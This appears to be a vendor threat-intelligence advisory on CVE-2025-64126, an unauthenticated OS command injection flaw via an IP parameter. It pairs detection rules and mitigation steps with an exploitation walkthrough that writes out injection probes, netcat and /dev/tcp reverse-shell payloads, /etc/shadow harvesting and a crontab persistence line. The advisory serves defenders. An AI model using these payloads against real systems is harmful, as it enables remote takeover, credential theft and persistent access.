CVE-2025-64126

Executive Summary

CVE-2025-64126 is a critical OS command injection vulnerability with a CVSS base score of 10.0, arising from improper input validation in an unidentified application that accepts user-supplied parameters destined for operating system command execution. The flaw allows an unauthenticated remote attacker to inject arbitrary commands by supplying malicious payloads in place of expected IP address values, potentially leading to complete compromise of the affected host. At the time of this report, the vendor and affected product remain unidentified, patch status is uncertain (confidence level 2/4 — claimed but not independently confirmed), and no public exploit code or CISA KEV listing exists; however, the vulnerability class and score demand immediate investigation for any enterprise application matching the behavior described.

Technical Analysis

The vulnerability is an OS command injection flaw rooted in the application's failure to validate or sanitize user-controlled input before embedding it into a system command. Based on the NVD description, the parameter is intended to accept an IP address — commonly seen in network diagnostic features such as ping, traceroute, or IP configuration utilities embedded in web management interfaces, IoT devices, or small-office routers.

The attack surface is the application's HTTP interface, where an endpoint accepts a parameter (e.g., ip=, host=, target=, address=) and passes it to a shell command. The absence of strict validation — such as verifying the input against an IP address regex (e.g., ^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$) or filtering shell metacharacters (;, |, &, $(), backticks, > < \n) — allows the attacker to break out of the intended command context.

A typical vulnerable code pattern might be:

$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);

In this pattern, the $ip variable is concatenated directly into the shell command. An attacker supplying ip=127.0.0.1; whoami would result in the command ping -c 4 127.0.0.1; whoami, executing both commands sequentially. The absence of escapeshellarg() or equivalent sanitization functions, plus no allowlist validation, confirms the vulnerability mechanism.

The attack is unauthenticated — the NVD description explicitly notes "unauthenticated attacker" — meaning no prior access to the system is required, only network reachability to the vulnerable endpoint. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) confirms: network access, low attack complexity, no privileges, no user interaction, scope changed (impact beyond the vulnerable component), and high impact on confidentiality, integrity, and availability. The scope change (S:C) is significant: a compromise of the web application process could lead to lateral impact on other system components or connected infrastructure.

The CWE classification is CWE-78, formally "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')".

Exploitation Scenarios

The following attack chain assumes the vulnerable endpoint is a common network utility (ping or traceroute) exposed via a web interface, a pattern consistent with the vulnerability description. Although no public PoC exists, exploitation follows a deterministic path:

Step 1 — Reconnaissance and Target Identification: The attacker first identifies candidate targets. Using Shodan or similar search engines, the attacker queries for devices or applications exposing network diagnostic interfaces. Example Shodan queries include http.title:"ping" or http.html:"traceroute". Alternatively, the attacker performs a web crawl of an enterprise's public IP space, looking for login pages or configuration interfaces that contain input fields labeled "Target IP," "Host," or "Ping Address." A simple GET request to /ping?ip=127.0.0.1 can be used to fingerprint the endpoint: if a legitimate ping response (TTL, RTT statistics) appears, the endpoint is confirmed as vulnerable to injection testing.

Step 2 — Trigger and Weaponization: The attacker crafts a request to the target endpoint, injecting command separators after a valid-looking IP address. The primary technique is to use a semicolon (;) to chain commands, or a pipe (|) to redirect output. For HTTP GET-based endpoints, the payload is URL-encoded:

• Initial probe: GET /ping?ip=127.0.0.1%3Bwhoami
• If the response contains a username or hostname output (e.g., www-data or root), command execution is confirmed.
• If GET is blocked, the attacker tests POST requests (POST /ping with body ip=127.0.0.1;id) or alternative separators: newline (%0A), &&, ||, backticks (`id`), or $(id).

Step 3 — Payload and Execution: With execution confirmed, the attacker escalates to a reverse shell for interactive access. A common payload:

127.0.0.1; nc -e /bin/sh 192.168.1.100 4444

URL-encoded: ip=127.0.0.1%3Bnc%20-e%20%2Fbin%2Fsh%20192.168.1.100%204444

If netcat is unavailable, the attacker may use bash: ip=127.0.0.1;bash -i >& /dev/tcp/192.168.1.100/4444 0>&1. The attacker's listening host (192.168.1.100) receives a shell with the privileges of the web server process — commonly www-data or root on embedded devices.

Step 4 — Post-Exploitation: Once the reverse shell is established, the attacker:

• Escalates privileges: if the process runs as www-data, exploits a local kernel vulnerability or misconfigured SUID binaries. On IoT/embedded targets, the process frequently runs as root, providing immediate full control.
• Harvests credentials: reads /etc/passwd, /etc/shadow, and any configuration files containing database or admin credentials.
• Pivots laterally: uses the compromised host as a foothold to scan the internal network, targeting other devices with the same vulnerable interface.
• Establishes persistence: installs a cron job (e.g., echo "*/5 * * * * root /bin/sh -c 'nc -e /bin/sh attacker_ip 5555'" >> /etc/crontab), modifies startup scripts, or drops a web shell for re-entry.

Impact Assessment

The business impact of CVE-2025-64126 is severe, reflected in the CVSS base score of 10.0 (Critical). The vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H parameterizes the risk:

• Confidentiality (C:H): An attacker gains read access to any file readable by the web server user, including sensitive configuration, credentials, and potentially customer data stored locally.
• Integrity (I:H): Full command execution permits data modification, tampering with application logic, defacement, or planting of malicious files.
• Availability (A:H): The attacker can kill processes, delete critical files, or render the service and host inoperable.
• Scope (S: Changed): The impact extends beyond the vulnerable component. Because command injection executes in the OS context, the attacker can affect other applications, network services, or the host OS itself, not just the web application.

For enterprises, the blast radius is amplified if the vulnerable device is an edge device (VPN concentrator, router, or firewall management interface) or an internal network tool exposed to less-trusted zones. A single unauthenticated compromise can lead to full network infiltration, data exfiltration, and ransomware deployment. If the affected product is an IoT/OT device, the risk extends to physical infrastructure disruption.

Affected systems: any application matching the described behavior — web interfaces accepting an IP/host parameter and passing it to an OS-level command, particularly in network utilities, device management portals, and legacy web applications.

Detection Guidance

Sigma Rule

title: CVE-2025-64126 - OS Command Injection via IP Parameter
id: 3f7a1c2e-9b54-4e2a-8f1d-6e5b3a7c9d21
status: experimental
description: Detects HTTP requests attempting to exploit OS command injection via an IP address parameter, chaining commands with shell metacharacters.
author: ValtersIT Threat Intelligence
logsource:
  category: webserver
  product: apache
  definition: 'Requires web server access logs or reverse proxy logs with decoded URI and request parameters.'
detection:
  selection_metachar:
    cs-uri-query|contains:
      - 'ip='
      - 'host='
      - 'target='
      - 'address='
  selection_payload:
    cs-uri-query|contains:
      - '%3B'          # semicolon (;)
      - '%7C'          # pipe (|)
      - '%26%26'       # && 
      - '%60'          # backtick
      - '$('
      - '%0A'          # newline
      - 'whoami'
      - 'id'
      - '/bin/sh'
      - 'nc'
      - 'bash'
  condition: selection_metachar and selection_payload
  timeframe: 10s
level: high
fields:
  - src_ip
  - cs-uri-query
  - cs-host
falsepositives:
  - Legitimate use of IP address fields with unusual characters (rare)
  - Scanning tools that include shell characters in parameters
tags:
  - attack.t1190
  - attack.t1059
  - cve.2025.64126

YARA Rule

rule CVE_2025_64126_OS_Command_Injection
{
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects HTTP request patterns exploiting OS command injection via IP parameters"
        cve = "CVE-2025-64126"
        date = "2025-05-01"
        score = 90
    strings:
        $param1 = /[?&](ip|host|target|address)=/ nocase
        $sep1 = /[?&](ip|host|target|address)=[0-9.]+%3B/ nocase
        $sep2 = /[?&](ip|host|target|address)=[0-9.]+%7C/ nocase
        $sep3 = /[?&](ip|host|target|address)=[0-9.]+%26%26/ nocase
        $sep4 = /[?&](ip|host|target|address)=[0-9.]+%60/ nocase
        $cmd1 = "whoami" nocase
        $cmd2 = "/bin/sh" nocase
        $cmd3 = "nc " nocase
        $cmd4 = "bash -i" nocase
        $cmd5 = "id" nocase
    condition:
        any of ($param*) and any of ($sep*) and any of ($cmd*)
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2025-64126 - Potential OS Command Injection via IP Parameter (Semicolon/Whoami)";
    flow:established,to_server;
    content:"/ping"; http_uri; nocase;
    content:"ip="; http_uri; nocase;
    pcre:"/[?&](ip|host|target|address)=[0-9\.]+[;|&`]+[a-z0-9_\/ ]+/i";
    pcre:"/(whoami|id|nc|bash|sh|wget|curl)/i";
    classtype:web-application-attack;
    sid:20256412601; rev:1;
    reference:cve,2025-64126;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-64126;
    metadata:created_at 2025-05-01, updated_at 2025-05-01;
)

Elastic Detection

sequence by source.ip with maxspan=10s
  [http where http.request.uri: "*ip=*" and http.request.uri: ("*%3B*", "*%7C*", "*%26*", "*%60*", "*$(*")] 
  [http where http.request.uri: ("*whoami*", "*/bin/sh*", "*nc *", "*id*", "*bash*")]

Splunk SPL Query

index=web sourcetype=access_combined_w3c 
| regex uri_path="(?i)(/ping|/trace|/diag|/utility)"
| regex form_data="(?i)(ip|host|target|address)="
| regex form_data="(?i)(%3B|%7C|%26%26|%60|%0A|\$\(|;|&&|\|)"
| regex form_data="(?i)(whoami|id|/bin/sh|nc|bash|wget|curl)"
| table _time, src_ip, src_port, uri_path, form_data, http_user_agent
| sort - _time

Wazuh OSSEC Rule

<group name="web,cve-2025-64126,">
  <rule id="100126" level="12">
    <if_sid>31100</if_sid>  <!-- Apache access log rules -->
    <regex>GET /ping\?.*ip=[0-9\.]+[;|&]+</regex>
    <regex>POST /ping.*ip=[0-9\.]+[;|&]+</regex>
    <description>CVE-2025-64126 - Attempted OS Command Injection via IP parameter (semicolon/pipe detected)</description>
    <group>attack.t1190,attack.t1059,</group>
    <mitre>
      <id>T1190</id>
      <id>T1059</id>
    </mitre>
  </rule>

  <rule id="100127" level="14">
    <if_sid>100126</if_sid>
    <regex>(whoami|id|/bin/sh|nc|bash|wget|curl)</regex>
    <description>CVE-2025-64126 - Command Injection Payload Detected in URI</description>
    <group>attack.t1190,attack.t1059,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence Assessment: The patch status is CLAIMED (confidence 2/4) — a single unidentified source asserts a patch exists, but no vendor advisory, CVE-annotated patch reference, or versioned fix has been independently confirmed after review of NVD and available security feeds. Treat this as unverified.

Immediate Mitigations (Apply Today):

1. Identify the Product: Because the vendor/product is unknown, prioritize discovery. Audit all internet-facing applications, network devices, IoT appliances, and management interfaces for any endpoint accepting an "IP address," "host," or "target" parameter that returns ping/traceroute/diagnostic output.
2. Isolate the Service: If the vulnerable interface is identified, immediately block external access to it via firewall ACLs or reverse proxy rules. Restrict access to trusted management VLANs only.
3. WAF / Reverse Proxy Filtering: Deploy a Web Application Firewall (ModSecurity, AWS WAF, Cloudflare) with rules blocking shell metacharacters (;, |, &&, `, $() in query parameters named ip, host, target, address.
4. Input Validation (Hotfix): If source access is available, apply a server-side patch implementing strict allowlist validation: reject any input not matching a valid IPv4/IPv6 regex before it reaches the shell command. Use escapeshellarg() or equivalent parameterized command execution (exec() with array arguments in PHP, subprocess.Popen with list arguments in Python).

Patch/Upgrade Steps:

1. Monitor the vendor advisory channel (CVE record, NVD) for a confirmed patch when the vendor is identified.
2. Subscribe to CISA KEV alerts — while not currently listed, an in-the-wild exploit would trigger listing and immediate patch priority.
3. As of this writing, no CVE-annotated version string exists; when the vendor responds, upgrade to the patched version (e.g., >= 2.4.1 if that version fixes this flaw).

Long-Term Hardening:

1. Assume Compromise: If the service was exposed, perform forensic review of relevant hosts for post-exploitation artifacts — unauthorized reverse shell connections, cron job modifications, unexpected files in /tmp or web directories.
2. Least Privilege: Ensure the web server process runs as an unprivileged user, not root, to contain command injection impact.
3. Network Segmentation: Place diagnostic/management interfaces on dedicated, non-routable management networks. Disable public-facing diagnostic tools (ping/traceroute) unless strictly required.
4. Secure Code Review: Implement a security checklist that mandates input validation for any parameter destined for OS commands, including IP fields, using allowlists and shell escaping functions.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-64126 — Official CVE record; NVD description confirming OS command injection via improper input validation; CVSS 10.0.
2. MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/ — Identifies "Exploit Public-Facing Application" tactic matching this unauthenticated remote compromise.
3. OWASP Command Injection Guidance: https://owasp.org/www-community/attacks/Command_Injection — Reference for the vulnerability class, remediation patterns, and detection heuristics.
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — No entry for CVE-2025-64126 at the time of writing; monitor for updates.
5. CWE-78 Reference: https://cwe.mitre.org/data/definitions/78.html — Common Weakness Enumeration source detailing the OS command injection weakness.

Threat Actor Campaigns / In-the-Wild Evidence: No public exploit code, Nuclei template, or confirmed in-the-wild exploitation has been reported for CVE-2025-64126. The EPSS score of 0.00075 corroborates that exploitation probability is currently negligible. However, given the critical severity and trivial exploitation mechanics of command injection via IP fields, the risk of imminent weaponization (e.g., inclusion in Mirai-style IoT botnets targeting embedded devices) is elevated. Enterprises with unidentified network-attached diagnostic interfaces should treat this as a priority discovery item.